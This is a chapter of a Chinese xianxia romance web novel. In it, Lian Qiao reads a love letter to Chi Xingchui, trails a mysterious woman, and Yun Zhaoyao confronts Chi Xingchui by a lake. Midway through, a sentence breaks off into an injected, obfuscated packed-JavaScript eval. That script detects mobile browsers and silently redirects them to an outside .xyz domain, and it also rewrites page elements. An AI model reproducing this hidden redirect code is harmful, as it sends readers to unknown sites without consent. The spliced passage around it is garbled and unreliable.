今晚的月色真好啊,就和很多年前一样好,在没有云雾缭绕的时候,星空澄澈,云岭的夜色就和水一样柔和动人。 迟星垂望着头顶上的月亮,听连乔给他念情书。 望着迟星垂微微怔愣的表情,连乔有点惊讶,“师兄这不会是你第一次读情书吧?” 她寻思着,再怎么样,迟星垂也不比迟来风差,怎么会一封情书也没收到? 迟星垂没有说话,连乔指着他,“不,不对,你是不是收到过,是不是还收的很多?” 迟星垂摇头说没有,连乔说,“师兄你知道吗,因为你平时太老实了,所以在说谎的时候表情非常不自然,你骗我我一眼就能看出来。” “啊啊啊啊啊啊啊啊……那你都收到了哪些人的?吉兆峰二师姐闵怜的?天门峰小师妹陶夭夭的?还有其他宗门在冲虚学院借读学习的好多人都给你写了,你以前是不是都收到了?” 这一世有她在,她提前断了迟星垂的烂桃花,但上一世自己不在呀,那岂不是这些信都送到了迟星垂手里? “哎呦喂,迟师兄,你还真招人喜欢呢……”连乔酸溜溜的,“说说看,你都读到了哪些啊,这可是我第一次写情书呢,我不太会写,你说说你喜欢什么样的,是真情流露的还是文采斐然的,说来我借鉴借鉴。” 迟星垂身体往后仰,“不用了,以后换我给你写。” 此时连乔面目狰狞,像狼外婆一样面露凶光望着他,迟星垂“噗嗤”笑了,“如果我说我一封都没有看过,你信吗?” “大多数人喜欢我,不过是因为我是迟家的大公子,如果褪去这层身份,我与普通人也没有什么区别。” “人们都认为迟家是个好归宿,背景深厚且财力雄厚,这些年来迟来风身边的女人络绎不绝,也是这个原因。” 迟星垂的别院位于迟家东南边角,正对着一面湖,庭院中的落叶飘了一层,湖面上的叶子被波浪推到岸边。落叶下藏了许多小鱼小虾,人经过的时候,鱼虾会不自觉地蹦跳躲藏,惊起一片涟漪。 两人的脚步从落叶上而过,发出轻微的细碎的脆脆声响。 迟星垂望向湖对面星星点点的渔火,“我听说过家主很爱母亲,在母亲离世后不吃不喝一个月,跪坐在她衣冠冢前,立下重誓要为她报仇,但这并不妨碍他在两年以后带回代夫人以及刚满月的迟来风,也并不妨碍他与那个女人私会。” 面对连乔的惊讶,迟星垂淡淡道,“嗯,我见过那个女人。” “是很久以前了,见过几次,后来她再也没有来过云岭,可能连后以兰都不知道有这样一个人存在。” “但在人前,他始终是一个缅怀亡妻的好丈夫,也是与代夫人相敬如宾的好夫君。” “也许他很爱母亲吧,像他说的那样,我不知道那是不是叫爱,但好像大家都认为如此。”迟星垂笑一笑,面色苍白,他摸了摸连乔的头,望向望着头顶的月亮,“那也许就是真的吧。” “连乔,我希望我不会成为那样的人。” 连乔点点头,“嗯,我知道的。” 月光从湖面反射过来,在二人对视的目光中穿梭,迟星垂率先败下阵来,他移开目光,问连乔想不想喝酒。 云岭有一种酒叫一江芳,用麒麟果、白玉心、小地笼等数十种灵果酿成,口味清雅,像这月下江水一样平静澄澈。 连乔说你不是不喜欢禁止我喝酒嘛。 “今天不在云中峰,不禁酒,如果你想试试我去取,但前提是只能喝一点,小饮怡情,大饮伤身,一江芳口味清淡但性烈,我只给你取一点。” 连乔坐在江边等他,月色漫过湖面,又悄无声息的爬上台阶,攀上人衣来。 想起今日迟星垂同他说的话,连乔捂住脸,快要把自己扭成麻花。系统说你不要再笑了,都快笑出鹅叫声了。 笑?笑怎么了?这里地处幽静,我又没有深夜扰民,就算我放声大笑,那也是没关系的。 连乔忽然一转眼,“你不会是嫉妒了吧?” “我只是一个系统,是一团没有任何情感的数据,我能嫉妒什么呢?” 连乔呵呵一笑,不与它争辩。 忽然听到一阵脚步声,由远及近,连乔以为是迟星垂,但仔细听这脚步又短又急,根本不是她所熟悉的人。 与生俱来对危险的直觉让她立刻翻下台阶,躲在一块巨石后面,只探出半颗脑袋往外看。 系统出声提醒,“宿主,是那个女人。” 是迟星垂口中那位和迟纵深一直有染,但可能连后以兰都不知道对方存在的那个女人。 这个人很奇怪,从整体上和打扮上都和后以兰很像,乍一看还真以为是后以兰呢。 迟家家主可真深情啊,在外面有姘头,都找和自己夫人一样类型的人。 但这个人和后以兰又有所不同。 她修为很高,一直在藏匿自己的生息,如果不是连乔对危险十分敏感,又和她离得近,是很难发现她存在的。 迟星垂说他的暗疾很有可能是人为,但又不会是后以兰下的手,那和这个奇怪又危险的女人会不会有关系? 连乔给迟星垂传短讯,可无论是用万机,还是用通讯符,迟星垂都没有回应。 到底到哪去了呢,取个酒而已,至于这么长时间吗? 系统问怎么办,连乔说这女人鬼鬼祟祟的也不知道要去哪里,我们跟上去看看,她很警惕,我们小心点。 连乔给迟星垂留言将事情的经过简要复述一遍,随后身形一隐,和那女人一样,也藏身在这茫茫的月色之中。 被连乔骂到底去哪了的迟星垂取完一江芳,往回走的时候,背后传来一声清脆的“师兄”。 一身素衣长裙的姑娘正倚在湖边,旁边还有两壶酒,已经见底了,周围也散着淡淡的酒香,随风飘散在这如水的夜色中。 迟星垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14249280|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和云招摇打了招呼,云招摇看问师兄这么晚怎么会在这里?看到了迟星垂手中的酒坛,她笑了笑,“你也心情不好,出来透透气吗?” 迟星垂摇头,“没有,我心情很好。” 云招摇:“……” 迟星垂道:“是连乔想喝,我去帮她拿一点。” 像是听到了某种不那么让人愉快的消息,云招摇的笑容也收敛了一些,点点头,“这样啊,师兄对连乔师妹真的很好呢。” 记忆中迟星垂对任何人一直都是不咸不淡的,对自己也只是多一些礼貌,云招摇不禁想,连乔到底是有什么魔力,也不是很优秀,脾气也不好,怎么就得到了迟星垂的垂青呢? 其实相比较迟来风,云招摇对迟星垂的青睐更多一些。 虽然迟星垂不爱说话,素日里也冷淡平和,但也不会拈花惹草,在外面惹一堆麻烦。 一开始,云招摇其实更想接近迟星垂,只是迟星垂这个人总是一副拒人于千里之外的模样,对任何人都没有例外,云招摇也就知难而退,认为应该也没有人能让他敞开心扉。 所以在看到迟星垂在连乔面前卸下面具,大半夜横跨整个迟家只为帮连乔取半壶酒,和连乔如平常情侣一般正常相处吵吵闹闹时,她生出一种莫名的不平衡来。 好像是自己一直求而不得的珍宝,但是在别人那里变成了召之即来挥之则去的东西。 轻微叹了一口气,望向远处的灯火,云招摇趴在栏杆上,“师兄,有时候我很羡慕连乔的洒脱和松弛。” “她好像做什么都很轻松,无论想要什么,都会有人捧在手心献宝似的送给她,而有些人竭尽全力想要得到的东西,在她那里却一文不值,不过是一个笑话。” 就像迟来风。 她那么努力才得来迟家二夫人这个位置,但是却仍有那么多人认为连乔才更适合这里,连一直对自己冷眼相待的后以兰,在见到连乔时也是笑容满面,仿若一直是一个慈祥的长辈。 云招摇又打开一坛酒,猛地灌了一口。 她一路跌跌撞撞,无比拼命才走到现在这个位置,她真的很辛苦,而迟来风从来没有看到她的辛苦,也从来没有体会过她的难处,就连此刻,在自己如此迷茫如此惶恐不安的时候,他也不知道在哪里鬼混。 看到素日里高高在上的迟星垂拎着酒步伐轻快满面春风去找连乔时,云招摇觉得自己真的很像一个笑话。 她想,凭什么都是你的,凭什么所有好东西都是你连乔的? 绝好的家世,虽然离世早但是非常爱自己的父母,还有一个爱屋及乌的继父,连那清冷孤傲的迟星垂都为你倾倒——你连乔算什么啊?你凭什么拥有这么多东西? 云招摇的瞳孔闪过一抹紫色,在月光下熠熠生辉,像价值连城的宝石。 宝石一般妖异的光泽投射到迟星垂深邃的目光中,云招摇抬眼望向迟星垂,“师兄,你怀念过在钟山的时光吗?”